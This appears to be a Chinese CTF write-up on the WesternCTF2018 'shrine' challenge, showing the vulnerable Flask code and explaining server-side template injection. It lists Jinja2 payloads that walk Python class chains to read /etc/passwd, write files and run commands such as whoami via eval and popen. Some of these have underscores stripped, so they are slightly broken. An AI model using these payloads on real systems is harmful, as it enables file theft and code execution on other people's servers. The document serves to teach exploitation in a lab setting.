flask之ssti [WesternCTF2018]shrine1

打开题目

整理一下,代码:

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')

def index():
    return open(__file__).read()
           @app.route('/shrine/')

def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
    app.run(debug=True)

知识点:

1.ssti的漏洞实质

实质就是服务器端接受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一部分,但是在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露,代码执行,getshell等问题

2.flask的一些特性

flask有两种渲染方式,render_template() 和 render_template_string()。

render_template()是渲染文件的,render_template_string是渲染字符串的

使用{ { }}作为变量包裹标识符;

快速查找该引用对应的位置:

''.class.mro[2].subclasses().index(file)
文件读写:

''.class.mro[2].subclasses()[40]

//读取文件

''.class.mro[2].subclasses()[59].init.globals['builtins']['file']("/etc/passwd").read()

''.class.mro[2].subclasses()[40]("/etc/passwd").read()

将read()改为write()就可以进行写操作:

''.class.mro[2].subclasses()[40]("/root/桌面/test.txt", "a").write("123")

复制代码

命令执行

1.利用eval进行命令执行

''.class.mro[2].subclasses()[59].init.globals['builtins']['eval']('import("os").popen("whoami").read()')

2.利用commands实现命令执行

[].class.base.subclasses()[59].init.globals['linecache'].dict.values()[12].dict.values()[144]('whoami')}

{}.class.bases[0].subclasses()[59].init.globals['builtins']['import']('os').popen('whoami').read()

直接将这些payload放入{ {}}中作为变量执行即可获得想要的结果

知识点参考文章:

关于flask的SSTI注入[通俗易懂]-腾讯云开发者社区-腾讯云

flask模板注入(ssti),一篇就够了_flask"+"ssti"+"总结-CSDN博客

相关推荐
今天补充能量了吗18 分钟前
T3 TensorFlow入门实战——天气识别
人工智能·python·tensorflow
不知不道abc29 分钟前
使用Azure合成语音,解放嘴巴(bushi)
python·音频
知识中的海王32 分钟前
已解决ModuleNotFoundError: No module named ‘selenium‘
python·selenium
叫我:松哥35 分钟前
经典游戏:飞机大战游戏python设计与实现
开发语言·python·游戏·pygame
用户99045017780091 小时前
真需求永远是第一位
后端
埃菲尔铁塔_CV算法1 小时前
条件数:概念、矩阵中的应用及实际工业场景应用
人工智能·python·线性代数·算法·matlab·矩阵
Misnearch1 小时前
sklearn.ensemble
人工智能·python·sklearn
2402_871321951 小时前
Matlab与python数据处理对比
python·gpt·学习·算法·matlab
Python私教1 小时前
Docker化部署Flask:轻量级Web应用的快速部署方案
后端
创码小奇客1 小时前
《Lock 锁与 AQS 的 “家族秘史”:继承那些事儿,代码来揭秘》
java·后端·架构